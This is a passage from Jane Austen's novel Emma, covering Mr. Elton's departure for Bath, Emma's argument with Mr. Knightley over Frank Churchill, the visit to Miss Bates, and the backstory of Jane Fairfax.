soon improved enough for those to move who must move; +and Mr. Woodhouse having, as usual, tried to persuade his daughter +to stay behind with all her children, was obliged to see the whole +party set off, and return to his lamentations over the destiny +of poor Isabella;--which poor Isabella, passing her life with +those she doated on, full of their merits, blind to their faults, +and always innocently busy, might have been a model of right +feminine happiness. + +The evening of the very day on which they went brought a note +from Mr. Elton to Mr. Woodhouse, a long, civil, ceremonious note, +to say, with Mr. Elton's best compliments, "that he was proposing +to leave Highbury the following morning in his way to Bath; +where, in compliance with the pressing entreaties of some friends, +he had engaged to spend a few weeks, and very much regretted +the impossibility he was under, from various circumstances of +weather and business, of taking a personal leave of Mr. Woodhouse, +of whose friendly civilities he should ever retain a grateful sense-- +and had Mr. Woodhouse any commands, should be happy to attend to them." + +Emma was most agreeably surprized.--Mr. Elton's absence just +at this time was the very thing to be desired. She admired +him for contriving it, though not able to give him much credit +for the manner in which it was announced. Resentment could not +have been more plainly spoken than in a civility to her father, +from which she was so pointedly excluded. She had not even a +share in his opening compliments.--Her name was not mentioned;-- +and there was so striking a change in all this, and such an +ill-judged solemnity of leave-taking in his graceful acknowledgments, +as she thought, at first, could not escape her father's suspicion. + +It did, however.--Her father was quite taken up with the surprize +of so sudden a journey, and his fears that Mr. Elton might never get +safely to the end of it, and saw nothing extraordinary in his language. +It was a very useful note, for it supplied them with fresh matter +for thought and conversation during the rest of their lonely evening. +Mr. Woodhouse talked over his alarms, and Emma was in spirits +to persuade them away with all her usual promptitude. + +She now resolved to keep Harriet no longer in the dark. She had +reason to believe her nearly recovered from her cold, and it was +desirable that she should have as much time as possible for getting +the better of her other complaint before the gentleman's return. +She went to Mrs. Goddard's accordingly the very next day, to undergo +the necessary penance of communication; and a severe one it was.-- +She had to destroy all the hopes which she had been so industriously +feeding--to appear in the ungracious character of the one preferred-- +and acknowledge herself grossly mistaken and mis-judging in all her +ideas on one subject, all her observations, all her convictions, +all her prophecies for the last six weeks. + +The confession completely renewed her first shame--and the sight +of Harriet's tears made her think that she should never be in charity +with herself again. + +Harriet bore the intelligence very well--blaming nobody-- +and in every thing testifying such an ingenuousness of disposition +and lowly opinion of herself, as must appear with particular +advantage at that moment to her friend. + +Emma was in the humour to value simplicity and modesty to the utmost; +and all that was amiable, all that ought to be attaching, +seemed on Harriet's side, not her own. Harriet did not consider +herself as having any thing to complain of. The affection of such +a man as Mr. Elton would have been too great a distinction.-- +She never could have deserved him--and nobody but so partial +and kind a friend as Miss Woodhouse would have thought it possible. + +Her tears fell abundantly--but her grief was so truly artless, +that no dignity could have made it more respectable in Emma's eyes-- +and she listened to her and tried to console her with all her heart +and understanding--really for the time convinced that Harriet was +the superior creature of the two--and that to resemble her would +be more for her own welfare and happiness than all that genius or +intelligence could do. + +It was rather too late in the day to set about being simple-minded +and ignorant; but she left her with every previous resolution +confirmed of being humble and discreet, and repressing imagination +all the rest of her life. Her second duty now, inferior only to her +father's claims, was to promote Harriet's comfort, and endeavour +to prove her own affection in some better method than by match-making. +She got her to Hartfield, and shewed her the most unvarying kindness, +striving to occupy and amuse her, and by books and conversation, +to drive Mr. Elton from her thoughts. + +Time, she knew, must be allowed for this being thoroughly done; and she +could suppose herself but an indifferent judge of such matters in general, +and very inadequate to sympathise in an attachment to Mr. Elton +in particular; but it seemed to her reasonable that at Harriet's age, +and with the entire extinction of all hope, such a progress might be +made towards a state of composure by the time of Mr. Elton's return, +as to allow them all to meet again in the common routine of acquaintance, +without any danger of betraying sentiments or increasing them. + +Harriet did think him all perfection, and maintained the non-existence +of any body equal to him in person or goodness--and did, in truth, +prove herself more resolutely in love than Emma had foreseen; +but yet it appeared to her so natural, so inevitable to strive +against an inclination of that sort _unrequited_, that she could not +comprehend its continuing very long in equal force. + +If Mr. Elton, on his return, made his own indifference as evident +and indubitable as she could not doubt he would anxiously do, +she could not imagine Harriet's persisting to place her happiness +in the sight or the recollection of him. + +Their being fixed, so absolutely fixed, in the same place, was bad +for each, for all three. Not one of them had the power of removal, +or of effecting any material change of society. They must encounter +each other, and make the best of it. + +Harriet was farther unfortunate in the tone of her companions at +Mrs. Goddard's; Mr. Elton being the adoration of all the teachers +and great girls in the school; and it must be at Hartfield only +that she could have any chance of hearing him spoken of with cooling +moderation or repellent truth. Where the wound had been given, +there must the cure be found if anywhere; and Emma felt that, +till she saw her in the way of cure, there could be no true peace +for herself. + + + +CHAPTER XVIII + + +Mr. Frank Churchill did not come. When the time proposed +drew near, Mrs. Weston's fears were justified in the arrival +of a letter of excuse. For the present, he could not be spared, +to his "very great mortification and regret; but still he looked +forward with the hope of coming to Randalls at no distant period." + +Mrs. Weston was exceedingly disappointed--much more disappointed, +in fact, than her husband, though her dependence on seeing the +young man had been so much more sober: but a sanguine temper, +though for ever expecting more good than occurs, does not +always pay for its hopes by any proportionate depression. +It soon flies over the present failure, and begins to hope again. +For half an hour Mr. Weston was surprized and sorry; but then he +began to perceive that Frank's coming two or three months later +would be a much better plan; better time of year; better weather; +and that he would be able, without any doubt, to stay considerably +longer with them than if he had come sooner. + +These feelings rapidly restored his comfort, while Mrs. Weston, +of a more apprehensive disposition, foresaw nothing but a repetition +of excuses and delays; and after all her concern for what her husband +was to suffer, suffered a great deal more herself. + +Emma was not at this time in a state of spirits to care really +about Mr. Frank Churchill's not coming, except as a disappointment +at Randalls. The acquaintance at present had no charm for her. +She wanted, rather, to be quiet, and out of temptation; but still, as it +was desirable that she should appear, in general, like her usual self, +she took care to express as much interest in the circumstance, +and enter as warmly into Mr. and Mrs. Weston's disappointment, +as might naturally belong to their friendship. + +She was the first to announce it to Mr. Knightley; and exclaimed +quite as much as was necessary, (or, being acting a part, perhaps +rather more,) at the conduct of the Churchills, in keeping him away. +She then proceeded to say a good deal more than she felt, of the +advantage of such an addition to their confined society in Surry; +the pleasure of looking at somebody new; the gala-day to Highbury entire, +which the sight of him would have made; and ending with reflections +on the Churchills again, found herself directly involved in a +disagreement with Mr. Knightley; and, to her great amusement, +perceived that she was taking the other side of the question from her +real opinion, and making use of Mrs. Weston's arguments against herself. + +"The Churchills are very likely in fault," said Mr. Knightley, +coolly; "but I dare say he might come if he would." + +"I do not know why you should say so. He wishes exceedingly to come; +but his uncle and aunt will not spare him." + +"I cannot believe that he has not the power of coming, if he made +a point of it. It is too unlikely, for me to believe it without proof." + +"How odd you are! What has Mr. Frank Churchill done, to make you +suppose him such an unnatural creature?" + +"I am not supposing him at all an unnatural creature, in suspecting +that he may have learnt to be above his connexions, and to care +very little for any thing but his own pleasure, from living with +those who have always set him the example of it. It is a great deal +more natural than one could wish, that a young man, brought up +by those who are proud, luxurious, and selfish, should be proud, +luxurious, and selfish too. If Frank Churchill had wanted to see +his father, he would have contrived it between September and January. +A man at his age--what is he?--three or four-and-twenty--cannot be +without the means of doing as much as that. It is impossible." + +"That's easily said, and easily felt by you, who have always +been your own master. You are the worst judge in the world, +Mr. Knightley, of the difficulties of dependence. You do not know +what it is to have tempers to manage." + +"It is not to be conceived that a man of three or four-and-twenty +should not have liberty of mind or limb to that amount. He cannot +want money--he cannot want leisure. We know, on the contrary, +that he has so much of both, that he is glad to get rid of them at +the idlest haunts in the kingdom. We hear of him for ever at some +watering-place or other. A little while ago, he was at Weymouth. +This proves that he can leave the Churchills." + +"Yes, sometimes he can." + +"And those times are whenever he thinks it worth his while; +whenever there is any temptation of pleasure." + +"It is very unfair to judge of any body's conduct, without an +intimate knowledge of their situation. Nobody, who has not been +in the interior of a family, can say what the difficulties +of any individual of that family may be. We ought to be +acquainted with Enscombe, and with Mrs. Churchill's temper, +before we pretend to decide upon what her nephew can do. +He may, at times, be able to do a great deal more than he can at others." + +"There is one thing, Emma, which a man can always do, if he chuses, +and that is, his duty; not by manoeuvring and finessing, but by vigour +and resolution. It is Frank Churchill's duty to pay this attention +to his father. He knows it to be so, by his promises and messages; +but if he wished to do it, it might be done. A man who felt rightly +would say at once, simply and resolutely, to Mrs. Churchill-- +`Every sacrifice of mere pleasure you will always find me ready to make +to your convenience; but I must go and see my father immediately. +I know he would be hurt by my failing in such a mark of respect to him +on the present occasion. I shall, therefore, set off to-morrow.'-- +If he would say so to her at once, in the tone of decision becoming +a man, there would be no opposition made to his going." + +"No," said Emma, laughing; "but perhaps there might be some made to his +coming back again. Such language for a young man entirely dependent, +to use!--Nobody but you, Mr. Knightley, would imagine it possible. +But you have not an idea of what is requisite in situations directly +opposite to your own. Mr. Frank Churchill to be making such +a speech as that to the uncle and aunt, who have brought him up, +and are to provide for him!--Standing up in the middle of the room, +I suppose, and speaking as loud as he could!--How can you imagine +such conduct practicable?" + +"Depend upon it, Emma, a sensible man would find no difficulty in it. +He would feel himself in the right; and the declaration--made, +of course, as a man of sense would make it, in a proper manner-- +would do him more good, raise him higher, fix his interest stronger +with the people he depended on, than all that a line of shifts +and expedients can ever do. Respect would be added to affection. +They would feel that they could trust him; that the nephew who had +done rightly by his father, would do rightly by them; for they know, +as well as he does, as well as all the world must know, that he +ought to pay this visit to his father; and while meanly exerting +their power to delay it, are in their hearts not thinking the better +of him for submitting to their whims. Respect for right conduct +is felt by every body. If he would act in this sort of manner, +on principle, consistently, regularly, their little minds would bend +to his." + +"I rather doubt that. You are very fond of bending little minds; +but where little minds belong to rich people in authority, +I think they have a knack of swelling out, till they are quite as +unmanageable as great ones. I can imagine, that if you, as you are, +Mr. Knightley, were to be transported and placed all at once in +Mr. Frank Churchill's situation, you would be able to say and do +just what you have been recommending for him; and it might have +a very good effect. The Churchills might not have a word to say +in return; but then, you would have no habits of early obedience +and long observance to break through. To him who has, it might +not be so easy to burst forth at once into perfect independence, +and set all their claims on his gratitude and regard at nought. +He may have as strong a sense of what would be right, as you can have, +without being so equal, under particular circumstances, to act up +to it." + +"Then it would not be so strong a sense. If it failed to produce +equal exertion, it could not be an equal conviction." + +"Oh, the difference of situation and habit! I wish you would try +to understand what an amiable young man may be likely to feel +in directly opposing those, whom as child and boy he has been +looking up to all his life." + +"Our amiable young man is a very weak young man, if this be the first +occasion of his carrying through a resolution to do right against +the will of others. It ought to have been a habit with him by +this time, of following his duty, instead of consulting expediency. +I can allow for the fears of the child, but not of the man. +As he became rational, he ought to have roused himself and shaken off +all that was unworthy in their authority. He ought to have opposed +the first attempt on their side to make him slight his father. +Had he begun as he ought, there would have been no difficulty now." + +"We shall never agree about him," cried Emma; "but that is +nothing extraordinary. I have not the least idea of his being +a weak young man: I feel sure that he is not. Mr. Weston would +not be blind to folly, though in his own son; but he is very likely +to have a more yielding, complying, mild disposition than would suit +your notions of man's perfection. I dare say he has; and though +it may cut him off from some advantages, it will secure him many others." + +"Yes; all the advantages of sitting still when he ought to move, +and of leading a life of mere idle pleasure, and fancying himself +extremely expert in finding excuses for it. He can sit down and +write a fine flourishing letter, full of professions and falsehoods, +and persuade himself that he has hit upon the very best method +in the world of preserving peace at home and preventing his father's +having any right to complain. His letters disgust me." + +"Your feelings are singular. They seem to satisfy every body else." + +"I suspect they do not satisfy Mrs. Weston. They hardly can +satisfy a woman of her good sense and quick feelings: standing in +a mother's place, but without a mother's affection to blind her. +It is on her account that attention to Randalls is doubly due, +and she must doubly feel the omission. Had she been a person +of consequence herself, he would have come I dare say; and it would +not have signified whether he did or no. Can you think your friend +behindhand in these sort of considerations? Do you suppose she +does not often say all this to herself? No, Emma, your amiable +young man can be amiable only in French, not in English. He may be +very `aimable,' have very good manners, and be very agreeable; but he +can have no English delicacy towards the feelings of other people: +nothing really amiable about him." + +"You seem determined to think ill of him." + +"Me!--not at all," replied Mr. Knightley, rather displeased; "I do +not want to think ill of him. I should be as ready to acknowledge +his merits as any other man; but I hear of none, except what are +merely personal; that he is well-grown and good-looking, with smooth, +plausible manners." + +"Well, if he have nothing else to recommend him, he will be a +treasure at Highbury. We do not often look upon fine young men, +well-bred and agreeable. We must not be nice and ask for all +the virtues into the bargain. Cannot you imagine, Mr. Knightley, +what a _sensation_ his coming will produce? There will be but one subject +throughout the parishes of Donwell and Highbury; but one interest-- +one object of curiosity; it will be all Mr. Frank Churchill; +we shall think and speak of nobody else." + +"You will excuse my being so much over-powered. If I find him +conversable, I shall be glad of his acquaintance; but if he is only +a chattering coxcomb, he will not occupy much of my time or thoughts." + +"My idea of him is, that he can adapt his conversation to the taste +of every body, and has the power as well as the wish of being +universally agreeable. To you, he will talk of farming; to me, +of drawing or music; and so on to every body, having that general +information on all subjects which will enable him to follow the lead, +or take the lead, just as propriety may require, and to speak +extremely well on each; that is my idea of him." + +"And mine," said Mr. Knightley warmly, "is, that if he turn out any +thing like it, he will be the most insufferable fellow breathing! +What! at three-and-twenty to be the king of his company--the great man-- +the practised politician, who is to read every body's character, +and make every body's talents conduce to the display of his +own superiority; to be dispensing his flatteries around, that he +may make all appear like fools compared with himself! My dear Emma, +your own good sense could not endure such a puppy when it came +to the point." + +"I will say no more about him," cried Emma, "you turn every +thing to evil. We are both prejudiced; you against, I for him; +and we have no chance of agreeing till he is really here." + +"Prejudiced! I am not prejudiced." + +"But I am very much, and without being at all ashamed of it. +My love for Mr. and Mrs. Weston gives me a decided prejudice in +his favour." + +"He is a person I never think of from one month's end to another," +said Mr. Knightley, with a degree of vexation, which made Emma +immediately talk of something else, though she could not comprehend +why he should be angry. + +To take a dislike to a young man, only because he appeared to be +of a different disposition from himself, was unworthy the real +liberality of mind which she was always used to acknowledge in him; +for with all the high opinion of himself, which she had often laid +to his charge, she had never before for a moment supposed it could +make him unjust to the merit of another. + + + + +VOLUME II + + + +CHAPTER I + + +Emma and Harriet had been walking together one morning, and, +in Emma's opinion, had been talking enough of Mr. Elton for that day. +She could not think that Harriet's solace or her own sins required more; +and she was therefore industriously getting rid of the subject +as they returned;--but it burst out again when she thought she +had succeeded, and after speaking some time of what the poor must +suffer in winter, and receiving no other answer than a very plaintive-- +"Mr. Elton is so good to the poor!" she found something else must be done. + +They were just approaching the house where lived Mrs. and Miss Bates. +She determined to call upon them and seek safety in numbers. +There was always sufficient reason for such an attention; Mrs. and +Miss Bates loved to be called on, and she knew she was considered +by the very few who presumed ever to see imperfection in her, +as rather negligent in that respect, and as not contributing what she +ought to the stock of their scanty comforts. + +She had had many a hint from Mr. Knightley and some from her own heart, +as to her deficiency--but none were equal to counteract the persuasion +of its being very disagreeable,--a waste of time--tiresome women-- +and all the horror of being in danger of falling in with the second-rate +and third-rate of Highbury, who were calling on them for ever, +and therefore she seldom went near them. But now she made the sudden +resolution of not passing their door without going in--observing, +as she proposed it to Harriet, that, as well as she could calculate, +they were just now quite safe from any letter from Jane Fairfax. + +The house belonged to people in business. Mrs. and Miss Bates occupied +the drawing-room floor; and there, in the very moderate-sized apartment, +which was every thing to them, the visitors were most cordially +and even gratefully welcomed; the quiet neat old lady, who with her +knitting was seated in the warmest corner, wanting even to give up +her place to Miss Woodhouse, and her more active, talking daughter, +almost ready to overpower them with care and kindness, thanks for +their visit, solicitude for their shoes, anxious inquiries after +Mr. Woodhouse's health, cheerful communications about her mother's, +and sweet-cake from the beaufet--"Mrs. Cole had just been there, +just called in for ten minutes, and had been so good as to sit an +hour with them, and _she_ had taken a piece of cake and been so kind +as to say she liked it very much; and, therefore, she hoped Miss +Woodhouse and Miss Smith would do them the favour to eat a piece too." + +The mention of the Coles was sure to be followed by that of Mr. Elton. +There was intimacy between them, and Mr. Cole had heard from +Mr. Elton since his going away. Emma knew what was coming; they must +have the letter over again, and settle how long he had been gone, +and how much he was engaged in company, and what a favourite he +was wherever he went, and how full the Master of the Ceremonies' +ball had been; and she went through it very well, with all the +interest and all the commendation that could be requisite, and always +putting forward to prevent Harriet's being obliged to say a word. + +This she had been prepared for when she entered the house; +but meant, having once talked him handsomely over, to be no farther +incommoded by any troublesome topic, and to wander at large amongst +all the Mistresses and Misses of Highbury, and their card-parties. +She had not been prepared to have Jane Fairfax succeed Mr. Elton; +but he was actually hurried off by Miss Bates, she jumped away +from him at last abruptly to the Coles, to usher in a letter from +her niece. + +"Oh! yes--Mr. Elton, I understand--certainly as to dancing-- +Mrs. Cole was telling me that dancing at the rooms at Bath was-- +Mrs. Cole was so kind as to sit some time with us, talking of Jane; +for as soon as she came in, she began inquiring after her, +Jane is so very great a favourite there. Whenever she is with us, +Mrs. Cole does not know how to shew her kindness enough; +and I must say that Jane deserves it as much as any body can. +And so she began inquiring after her directly, saying, `I know you +cannot have heard from Jane lately, because it is not her time +for writing;' and when I immediately said, `But indeed we have, +we had a letter this very morning,' I do not know that I ever saw +any body more surprized. `Have you, upon your honour?' said she; +`well, that is quite unexpected. Do let me hear what she says.'" + +Emma's politeness was at hand directly, to say, with smiling interest-- + +"Have you heard from Miss Fairfax so lately? I am extremely happy. +I hope she is well?" + +"Thank you. You are so kind!" replied the happily deceived aunt, +while eagerly hunting for the letter.--"Oh! here it is. I was sure +it could not be far off; but I had put my huswife upon it, you see, +without being aware, and so it was quite hid, but I had it in my hand +so very lately that I was almost sure it must be on the table. +I was reading it to Mrs. Cole, and since she went away, I was +reading it again to my mother, for it is such a pleasure to her-- +a letter from Jane--that she can never hear it often enough; +so I knew it could not be far off, and here it is, only just under +my huswife--and since you are so kind as to wish to hear what +she says;--but, first of all, I really must, in justice to Jane, +apologise for her writing so short a letter--only two pages you see-- +hardly two--and in general she fills the whole paper and crosses half. +My mother often wonders that I can make it out so well. +She often says, when the letter is first opened, `Well, Hetty, +now I think you will be put to it to make out all that checker-work'-- +don't you, ma'am?--And then I tell her, I am sure she would contrive +to make it out herself, if she had nobody to do it for her-- +every word of it--I am sure she would pore over it till she had +made out every word. And, indeed, though my mother's eyes are not +so good as they were, she can see amazingly well still, thank God! +with the help of spectacles. It is such a blessing! My mother's +are really very good indeed. Jane often says, when she is here, +`I am sure, grandmama, you must have had very strong eyes to see +as you do--and so much fine work as you have done too!--I only wish +my eyes may last me as well.'" + +All this spoken extremely fast obliged Miss Bates to stop for breath; +and Emma said something very civil about the excellence of Miss +Fairfax's handwriting. + +"You are extremely kind," replied Miss Bates, highly gratified; +"you who are such a judge, and write so beautifully yourself. +I am sure there is nobody's praise that could give us so much pleasure +as Miss Woodhouse's. My mother does not hear; she is a little deaf +you know. Ma'am," addressing her, "do you hear what Miss Woodhouse +is so obliging to say about Jane's handwriting?" + +And Emma had the advantage of hearing her own silly compliment +repeated twice over before the good old lady could comprehend it. +She was pondering, in the meanwhile, upon the possibility, without seeming +very rude, of making her escape from Jane Fairfax's letter, and had +almost resolved on hurrying away directly under some slight excuse, +when Miss Bates turned to her again and seized her attention. + +"My mother's deafness is very trifling you see--just nothing at all. +By only raising my voice, and saying any thing two or three times over, +she is sure to hear; but then she is used to my voice. But it is very +remarkable that she should always hear Jane better than she does me. +Jane speaks so distinct! However, she will not find her grandmama +at all deafer than she was two years ago; which is saying a great +deal at my mother's time of life--and it really is full two years, +you know, since she was here. We never were so long without seeing +her before, and as I was telling Mrs. Cole, we shall hardly know +how to make enough of her now." + +"Are you expecting Miss Fairfax here soon?" + +"Oh yes; next week." + +"Indeed!--that must be a very great pleasure." + +"Thank you. You are very kind. Yes, next week. Every body is +so surprized; and every body says the same obliging things. I am +sure she will be as happy to see her friends at Highbury, as they +can be to see her. Yes, Friday or Saturday; she cannot say which, +because Colonel Campbell will be wanting the carriage himself one +of those days. So very good of them to send her the whole way! +But they always do, you know. Oh yes, Friday or Saturday next. +That is what she writes about. That is the reason of her writing out +of rule, as we call it; for, in the common course, we should not have +heard from her before next Tuesday or Wednesday." + +"Yes, so I imagined. I was afraid there could be little chance +of my hearing any thing of Miss Fairfax to-day." + +"So obliging of you! No, we should not have heard, if it had not +been for this particular circumstance, of her being to come here +so soon. My mother is so delighted!--for she is to be three months +with us at least. Three months, she says so, positively, as I +am going to have the pleasure of reading to you. The case is, +you see, that the Campbells are going to Ireland. Mrs. Dixon has +persuaded her father and mother to come over and see her directly. +They had not intended to go over till the summer, but she is so +impatient to see them again--for till she married, last October, +she was never away from them so much as a week, which must make +it very strange to be in different kingdoms, I was going to say, +but however different countries, and so she wrote a very urgent letter +to her mother--or her father, I declare I do not know which it was, +but we shall see presently in Jane's letter--wrote in Mr. Dixon's +name as well as her own, to press their coming over directly, +and they would give them the meeting in Dublin, and take them back +to their country seat, Baly-craig, a beautiful place, I fancy. +Jane has heard a great deal of its beauty; from Mr. Dixon, I mean-- +I do not know that she ever heard about it from any body else; +but it was very natural, you know, that he should like to speak +of his own place while he was paying his addresses--and as Jane used +to be very often walking out with them--for Colonel and Mrs. Campbell +were very particular about their daughter's not walking out +often with only Mr. Dixon, for which I do not at all blame them; +of course she heard every thing he might be telling Miss Campbell +about his own home in Ireland; and I think she wrote us word +that he had shewn them some drawings of the place, views that he +had taken himself. He is a most amiable, charming young man, +I believe. Jane was quite longing to go to Ireland, from his account +of things." + +At this moment, an ingenious and animating suspicion entering +Emma's brain with regard to Jane Fairfax, this charming Mr. Dixon, +and the not going to Ireland, she said, with the insidious design +of farther discovery, + +"You must feel it very fortunate that Miss Fairfax should be allowed +to come to you at such a time. Considering the very particular +friendship between her and Mrs. Dixon, you could hardly have expected +her to be excused from accompanying Colonel and Mrs. Campbell." + +"Very true, very true, indeed. The very thing that we have always +been rather afraid of; for we should not have liked to have her +at such a distance from us, for months together--not able to come +if any thing was to happen. But you see, every thing turns out +for the best. They want her (Mr. and Mrs. Dixon) excessively to +come over with Colonel and Mrs. Campbell; quite depend upon it; +nothing can be more kind or pressing than their _joint_ invitation, +Jane says, as you will hear presently; Mr. Dixon does not seem in the +least backward in any attention. He is a most charming young man. +Ever since the service he rendered Jane at Weymouth, when they were +out in that party on the water, and she, by the sudden whirling +round of something or other among the sails, would have been dashed +into the sea at once, and actually was all but gone, if he had not, +with the greatest presence of mind, caught hold of her habit-- +(I can never think of it without trembling!)--But ever since we +had the history of that day, I have been so fond of Mr. Dixon!" + +"But, in spite of all her friends' urgency, and her own wish +of seeing Ireland, Miss Fairfax prefers devoting the time to you +and Mrs. Bates?" + +"Yes--entirely her own doing, entirely her own choice; and Colonel +and Mrs. Campbell think she does quite right, just what they +should recommend; and indeed they particularly _wish_ her to try +her native air, as she has not been quite so well as usual lately." + +"I am concerned to hear of it. I think they judge wisely. +But Mrs. Dixon must be very much disappointed. Mrs. Dixon, +I understand, has no remarkable degree of personal beauty; is not, +by any means, to be compared with Miss Fairfax." + +"Oh! no. You are very obliging to say such things--but certainly not. +There is no comparison between them. Miss Campbell always was +absolutely plain--but extremely elegant and amiable." + +"Yes, that of course." + +"Jane caught a bad cold, poor thing! so long ago as the 7th +of November, (as I am going to read to you,) and has never been +well since. A long time, is not it, for a cold to hang upon her? +She never mentioned it before, because she would not alarm us. +Just like her! so considerate!--But however, she is so far from well, +that her kind friends the Campbells think she had better come home, +and try an air that always agrees with her; and they have no doubt +that three or four months at Highbury will entirely cure her-- +and it is certainly a great deal better that she should come here, +than go to Ireland, if she is unwell. Nobody could nurse her, as we +should do." + +"It appears to me the most desirable arrangement in the world." + +"And so she is to come to us next Friday or Saturday, and the +Campbells leave town in their way to Holyhead the Monday following-- +as you will find from Jane's letter. So sudden!--You may guess, +dear Miss Woodhouse, what a flurry it has thrown me in! +If it was not for the drawback of her illness--but I am afraid +we must expect to see her grown thin, and looking very poorly. +I must tell you what an unlucky thing happened to me, as to that. +I always make a point of reading Jane's letters through to myself first, +before I read them aloud to my mother, you know, for fear of there +being any thing in them to distress her. Jane desired me to do it, +so I always do: and so I began to-day with my usual caution; +but no sooner did I come to the mention of her being unwell, than I +burst out, quite frightened, with `Bless me! poor Jane is ill!'-- +which my mother, being on the watch, heard distinctly, and was sadly +alarmed at. However, when I read on, I found it was not near so bad +as I had fancied at first; and I make so light of it now to her, +that she does not think much about it. But I cannot imagine +how I could be so off my guard. If Jane does not get well soon, +we will call in Mr. Perry. The expense shall not be thought of; +and though he is so liberal, and so fond of Jane that I dare say +he would not mean to charge any thing for attendance, we could not +suffer it to be so, you know. He has a wife and family to maintain, +and is not to be giving away his time. Well, now I have just given you +a hint of what Jane writes about, we will turn to her letter, and I am +sure she tells her own story a great deal better than I can tell it +for her." + +"I am afraid we must be running away," said Emma, glancing at Harriet, +and beginning to rise--"My father will be expecting us. +I had no intention, I thought I had no power of staying more than +five minutes, when I first entered the house. I merely called, +because I would not pass the door without inquiring after Mrs. Bates; +but I have been so pleasantly detained! Now, however, we must wish +you and Mrs. Bates good morning." + +And not all that could be urged to detain her succeeded. +She regained the street--happy in this, that though much had been +forced on her against her will, though she had in fact heard +the whole substance of Jane Fairfax's letter, she had been able +to escape the letter itself. + + + +CHAPTER II + + +Jane Fairfax was an orphan, the only child of Mrs. Bates's +youngest daughter. + +The marriage of Lieut. Fairfax of the _______ regiment of infantry, +and Miss Jane Bates, had had its day of fame and pleasure, +hope and interest; but nothing now remained of it, save the melancholy +remembrance of him dying in action abroad--of his widow sinking +under consumption and grief soon afterwards--and this girl. + +By birth she belonged to Highbury: and when at three years old, +on losing her mother, she became the property, the charge, +the consolation, the fondling of her grandmother and aunt, there had +seemed every probability of her being permanently fixed there; +of her being taught only what very limited means could command, +and growing up with no advantages of connexion or improvement, +to be engrafted on what nature had given her in a pleasing person, +good understanding, and warm-hearted, well-meaning relations. + +But the compassionate feelings of a friend of her father gave +a change to her destiny. This was Colonel Campbell, who had +very highly regarded Fairfax, as an excellent officer and most +deserving young man; and farther, had been indebted to him for +such attentions, during a severe camp-fever, as he believed had saved +his life. These were claims which he did not learn to overlook, +though some years passed away from the death of poor Fairfax, +before his own return to England put any thing in his power. +When he did return, he sought out the child and took notice of her. +He was a married man, with only one living child, a girl, +about Jane's age: and Jane became their guest, paying them long visits +and growing a favourite with all; and before she was nine years old, +his daughter's great fondness for her, and his own wish of being +a real friend, united to produce an offer from Colonel Campbell +of undertaking the whole charge of her education. It was accepted; +and from that period Jane had belonged to Colonel Campbell's family, +and had lived with them entirely, only visiting her grandmother +from time to time. + +The plan was that she should be brought up for educating others; +the very few hundred pounds which she inherited from her father +making independence impossible. To provide for her otherwise +was out of Colonel Campbell's power; for though his income, by pay +and appointments, was handsome, his fortune was moderate and must +be all his daughter's; but, by giving her an education, he hoped +to be supplying the means of respectable subsistence hereafter. + +Such was Jane Fairfax's history. She had fallen into good hands, +known nothing but kindness from the Campbells, and been given +an excellent education. Living constantly with right-minded +and well-informed people, her heart and understanding had received +every advantage of discipline and culture; and Colonel Campbell's +residence being in London, every lighter talent had been done +full justice to, by the attendance of first-rate masters. +Her disposition and abilities were equally worthy of all that +friendship could do; and at eighteen or nineteen she was, as far +as such an early age can be qualified for the care of children, +fully competent to the office of instruction herself; but she +was too much beloved to be parted with. Neither father nor mother +could promote, and the daughter could not endure it. The evil day +was put off. It was easy to decide that she was still too young; +and Jane remained with them, sharing, as another daughter, in all +the rational pleasures of an elegant society, and a judicious +mixture of home and amusement, with only the drawback of the future, +the sobering suggestions of her own good understanding to remind +her that all this might soon be over. + +The affection of the whole family, the warm attachment of Miss +Campbell in particular, was the more honourable to each party +from the circumstance of Jane's decided superiority both in beauty +and acquirements. That nature had given it in feature could not +be unseen by the young woman, nor could her higher powers of mind +be unfelt by the parents. They continued together with unabated +regard however, till the marriage of Miss Campbell, who by that chance, +that luck which so often defies anticipation in matrimonial affairs, +giving attraction to what is moderate rather than to what is superior, +engaged the affections of Mr. Dixon, a young man, rich and agreeable, +almost as soon as they were acquainted; and was eligibly +and happily settled, while Jane Fairfax had yet her bread to earn. + +This event had very lately taken place; too lately for any thing to be +yet attempted by her less fortunate friend towards entering on her path +of duty; though she had now reached the age which her own judgment +had fixed on for beginning. She had long resolved that one-and-twenty +should be the period. With the fortitude of a devoted novitiate, +she had resolved at one-and-twenty to complete the sacrifice, +and retire from all the pleasures of life, of rational intercourse, +equal society, peace and hope, to penance and mortification for ever. + +The good sense of Colonel and Mrs. Campbell could not oppose such +a resolution, though their feelings did. As long as they lived, +no exertions would be necessary, their home might be hers for ever; +and for their own comfort they would have retained her wholly; +but this would be selfishness:--what must be at last, had better +be soon. Perhaps they began to feel it might have been kinder +and wiser to have resisted the temptation of any delay, and spared +her from a taste of such enjoyments of ease and leisure as must +now be relinquished. Still, however, affection was glad to catch +at any reasonable excuse for not hurrying on the wretched moment. +She had never been quite well since the time of their daughter's marriage; +and till she should have completely recovered her usual strength, +they must forbid her engaging in duties, which, so far from being +compatible with a weakened frame and varying spirits, seemed, +under the most favourable circumstances, to require something +more than human perfection of body and mind to be discharged with +tolerable comfort. + +With regard to her not accompanying them to Ireland, her account +to her aunt contained nothing but truth, though there might be some +truths not told. It was her own choice to give the time of their +absence to Highbury; to spend, perhaps, her last months of perfect +liberty with those kind relations to whom she was so very dear: +and the Campbells, whatever might be their motive or motives, +whether single, or double, or treble, gave the arrangement +their ready sanction, and said, that they depended more on a few +months spent in her native air, for the recovery of her health, +than on any thing else. Certain it was that she was to come; +and that Highbury, instead of welcoming that perfect novelty which +had been so long promised it--Mr. Frank Churchill--must put up for +the present with Jane Fairfax, who could bring only the freshness +of a two years' absence. + +Emma was sorry;--to have to pay civilities to a person she did +not like through three long months!--to be always doing more than +she wished, and less than she ought! Why she did not like Jane +Fairfax might be a difficult question to answer; Mr. Knightley +had once told her it was because she saw in her the really +accomplished young woman, which she wanted to be thought herself; +and though the accusation had been eagerly refuted at the time, +there were moments of self-examination in which her conscience could +not quite acquit her. But "she could never get acquainted with her: +she did not know how it was, but there was such coldness and reserve-- +such apparent indifference whether she pleased or not--and then, +her aunt was such an eternal talker!--and she was made such a fuss +with by every body!--and it had been always imagined that they were +to be so intimate--because their ages were the same, every body had +supposed they must be so fond of each other." These were her reasons-- +she had no better. + +It was a dislike so little just--every imputed fault was so magnified +by fancy, that she never saw Jane Fairfax the first time after any +considerable absence, without feeling that she had injured her; +and now, when the due visit was paid, on her arrival, after a two years' +interval, she was particularly struck with the very appearance +and manners, which for those two whole years she had been 